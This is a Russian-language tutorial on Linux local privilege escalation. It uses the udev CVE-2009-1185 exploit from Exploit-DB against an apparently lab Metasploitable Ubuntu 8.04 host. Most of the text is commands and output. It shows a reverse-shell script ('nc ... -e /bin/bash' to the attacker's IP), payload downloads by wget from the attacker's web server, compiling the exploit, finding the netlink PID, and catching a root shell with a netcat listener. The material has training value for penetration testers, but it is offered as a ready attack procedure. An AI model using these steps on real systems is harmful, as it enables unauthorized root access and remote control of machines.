03.12.2018

Расширение локальных привилегий в Linux при помощи эксплоита для ядра

image

Получение прав суперпользователя сродни Граалю для специалистов, занимающихся эксплуатацией уязвимостей в Linux.

Автор: drd_

Получение прав суперпользователя сродни Граалю для специалистов, занимающихся эксплуатацией уязвимостей в Linux. Так же как и системная учетная запись в Windows, в Linux аккаунт root дает полный административный доступ к операционной системе. Однако иногда даже при помощи эксплоита, который сработал успешно, мы получаем низкоуровневый шелл, и нужно нечто, позволяющее расширить полномочия, для получения доступа к более привилегированным аккаунтам и полного контроля над целевой системой.

Шаг 1: Сбор информации и поиск эксплоита

После того как получен низкоуровневый шелл в целевой системе, наша цель – расширение привилегий, права суперпользователя и полный доступ к системе.

В этой статье будет рассмотрено решение этой задачи при помощи эксплоита для ядра. Поскольку у нас уже есть шелл, воспользуемся командой uname –a для получения первоначальной информации о системе. Кроме того, команда lsb_release –a также может оказаться полезной для выяснения дистрибутива и сведений о релизе.

[*] Started reverse TCP handler on 172.16.1.100:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (36 bytes) to 172.16.1.102
[*] Command shell session 2 opened (172.16.1.100:4444 -> 172.16.1.102:49499) at 2018-07-16 13:55:15 -0500
 
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
lsb_release -a
No LSB modeuls are available.
Distributor ID: Ubuntu
Description:    Ubuntu 8.04
Release:        8.04
Codename:       hardy

Мы выяснили, что система работает на базе Ubuntu 8.04 с ядром 2.6.24, и теперь приступаем к поиску эксплоита. В Kali есть локальная версия сайта Exploit-DB, представляющая собой базу данных, которая содержит эксплоиты, код и публикации. Поиск по базе осуществляется прямо из терминала при помощи команды searchsploit:

root@nullbyte:~# searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23 | exploits/linux_x86/local/42276.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escala | exploits/linux/local/160.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22362.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22363.c
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Pr | exploits/linux/local/9844.py
Linux Kernel 2.4.32/2.6.0 - 'do_mremap()' Bound Checking Privilege E | exploits/linux/local/145.c
Linux Kernel 2.4.30/2.6.11.5 - Bluetooth 'bluez_sock_create' Local P | exploits/linux/local/25289.c
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local  | exploits/linux/local/19933.rb
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / REHL 4.8/5.3 / SuSE 10 SP | exploits/linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Pri | exploits/linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3) | exploits/linux/local/895.c
Linux Kernel 2.4.x/2.6.x - Bluetooth Signed Buffer Index Privilege E | exploits/linux/local/25288.c
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege | exploits/linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox | exploits/linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Esca | exploits/linux_x86-64/local/4460.c
Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation  | exploits/linux/local/9641.txt
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local | exploits/linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9/04) UDEV < 1.4.1 - Local Pr | exploits/linux/local/8572.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Cor | exploits/linux_x86/local/9542.c
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1 | exploits/linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation | exploits/linux/local/40812.c

Поскольку мы ищем эксплоит для расширения привилегий, то используем ключевое слово privilege, а затем уточняем результаты поиска при помощи утилиты grep (флаг –i говорит о том, что не нужно учитывать регистр). Например, мы можем воспользоваться эксплоитом 8572.c, который эксплуатирует брешь в менеджере устройств UDEV и позволяет выполнять код через непроверенные сообщения в сокетах Netlink. Просто копируем путь к эксплоиту и при помощи команды locate выясняем полный путь:

root@nullbyte:~# locate linux/local/8572.c
/usr/share/exploitdb/exploits/linux/local/8572.c
root@nullbyte:~#

Как вы могли догадаться, эксплоит написан на С, однако мы не будем углубляться в дебри, а просто скомпилируем исходник. Хотя если вы знакомы с языком С, будет совсем не лишним ознакомиться с логикой работы эксплоита. Чтобы получить базовое представление о том, чем мы будем пользоваться, при помощи команды cat заглянем вовнутрь файла и посмотрим комментарии:

* cve-2009-1185.c
*
* udev < 1141 Local Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Информация:
*
*   http://cvemitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
*
*   udev до версии 1.4.1 не проверяет, приходит ли NETLINK-сообщение из      
*   пространства ядра, что позволяет локальным аккаунтам расширять
*   привилегии при помощи отсылки NETLINK-сообщения из пространства
*   пользователя 
*
* Примечание:
*
*   Этот эксплоит является альтернативной версией эксплоита от kcope,
*   использует правила 95-udev-late.rules и позволяет запускать произвольные
*   команды при удалении устройства. Более чистый и надежный код при условии,
*   что в вашем дистрибутиве есть вышеуказанный файл с правилами. 
*
*   Протестирован в Gentoo, Intrepid и Jaunty.
*
* Использование:
*
*   Необходимо передать PID, прикрепленный к сокетам netlink менеджера udevd
*   указан в /proc/net/netlink и обычно равен udevd PID минус 1), в
*   качестве аргумента argv[1].
*
*   Эксплоит запускает /tmp/run от имени суперпользователя, и вы можете 
*   передать в ту команду любую полезную нагрузку.
 

Шаг 2: Доставка эксплоита в целевую систему

Для начала эксплоит нужно скопировать на целевую машину. Самый простой способ решить эту задачу – настроить локальный веб-сервер (например, Apache), подключиться к этому серверу с целевой системы и загрузить файл. Однако вначале нужно выполнить подготовительную работу.

Во-первых, убедитесь, что сервер поднят и работает в Kali. В терминале запустите команду service apache2 restart. Затем нужно создать символическую ссылку между директорией, где хранится и эксплоит и папкой с файлами сервера, при помощи следующей команды:

ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/

Теперь наш эксплоит доступен для загрузки.

В целевой системе эксплоит будет запускаться из директории /tmp, и нам нужно вначале создать исполняемый файл. В Kali введите команду nano /var/www/html/run и добавьте следующие строки:

#! /bin/bash
nc 172.16.1.100 4321 -e /bin/bash

После запуска этого файла для подключения и организации шелла к системе, в которой работает Kali, через IP-адрес и порт 4321, будет использоваться Netcat. Нажмите Ctrl-X, затем Y и далее клавишу Enter для сохранения файла.

Теперь мы готовы к загрузке файлов на целевую машину. Используя полученный ранее низкоуровневый шелл, переходим в директорию /tmp, при помощи утилиты wget подключаемся к веб-серверу, на котором установлен Kali, и загружаем файлы все необходимые файлы.

cd /tmp
wget http://172.16.1.100/run
--15:18:31--  http://172.16.1.100/run
           => 'run'
Connecting to 172.16.1.100:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46
 
    OK                                                  100%  978.43 KB/s
 
15:18:31 (978.43 KB/s) - 'run' saved [46/46]
 
wget http://172.16.1.100/local/8752.c
--15:19:24--  http://172.16.1.100/local/8572.c
           => '8572.c'
Connecting to 172.16.1.100:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,876 (2.8K) [text/x-csrc]
 
    OK                                                  100%  100.46 MB/s
 
15:19:24 (100.46 MB/s) - '8572.c' saved [2876/2876]

Шаг 3: Компиляция и запуск эксплоита

Когда все файлы, необходимые для запуска эксплоита, оказались в целевой системе, остался последний шаг – компиляция исходника. Мы не будем погружаться в дебри программирования, но, если коротко – исполняемый файл должен быть собран из исходного текста. В нашем случае компиляция будет осуществляться при помощи GCC (GNU Compiler Collection; Набор компиляторов проекта GNU).

Для компиляции файла 8572.c используйте следующую команду (флаг –o задает имя конечного исполняемого файла):

gcc -o exploit 8572.c

Если в процессе компиляции не будет найден динамический линковщик, воспользуйтесь флагом –B для указания директории, где находится ld:

gcc -B /usr/bin -o exploit 8572.c

После компиляции при помощи команды ls проверяем, что исполняемый файл появился.

gcc -o exploit 8572.c
collect2: cannont find 'ld'
 
gcc -B /usr/bin -o exploit 8572.c
 
ls
4674.jsvc_up
8572.c
exploit
jVswA
mhbkk
run

В комментариях файла 8572.c говорилось, что нам нужно найти PID (идентификатор процесса) сокета Netlink, который обычно равен идентификатору процесса UDEVD минус 1. Запускаем команду cat /proc/net/netlink и ищем ненулевой идентификатор. Проверяем найденное значение при помощи команды ps aux | grep udev. Идентификатор процесса UDEVB должен быть на единицу больше.

cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem    Dump     Locks
celb4800 0   0      00000000 0        0       00000000 2
cf87fa00 4   0      00000000 0        0       00000000 2
cd678000 7   0      00000000 0        0       00000000 2
cdc4bc00 9   0      00000000 0        0       00000000 2
cdc09c00 10  0      00000000 0        0       00000000 2
ce1bc400 15  0      00000000 0        0       00000000 2
cf8dee00 15  2459   00000000 0        0       00000000 2
cd394800 16  0      00000000 0        0       00000000 2
cd5f6200 18  0      00000000 0        0       00000000 2
ps aux | grep udev
root      2460  0.0  0.2   2216   648 ?       S<s  14:42  0:01 /sbinudevd --daemon

Затем нужно настроить слушатель на машине с Kali, с которым будет устанавливаться соединение после запуска скрипта run на целевой системе. На машине с Kali введите команду nc -lvp 4321, после чего начнут отслеживаться входящие подключения.

После настройки слушателя, можно приступать к запуску эксплоита. Вспоминаем, что нужно передать PID сокета Netlink в качестве аргумента, который в нашем случае равен 2459 (у вас это значение может отличаться). Выполняем следующую команду в непривилегированном шелле:

./exploit 2459

Через некоторое время должно появиться подключение к нашему слушателю, и мы сможем запускать разные команды, как, например, id и whoami для просмотра информации о пользователе. Далее становится понятно, что у нас появился доступ с правами суперпользователя, и мы можем выполнять любые операции в целевой системе.

root@nullbyte:~# nc -lvp 4321
listening on [any] 4321 ...
172.16.1.102: inverse host lookup failed: Unknown host
connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 34418
id
uid=0(root) gid=0(root)
whoami
root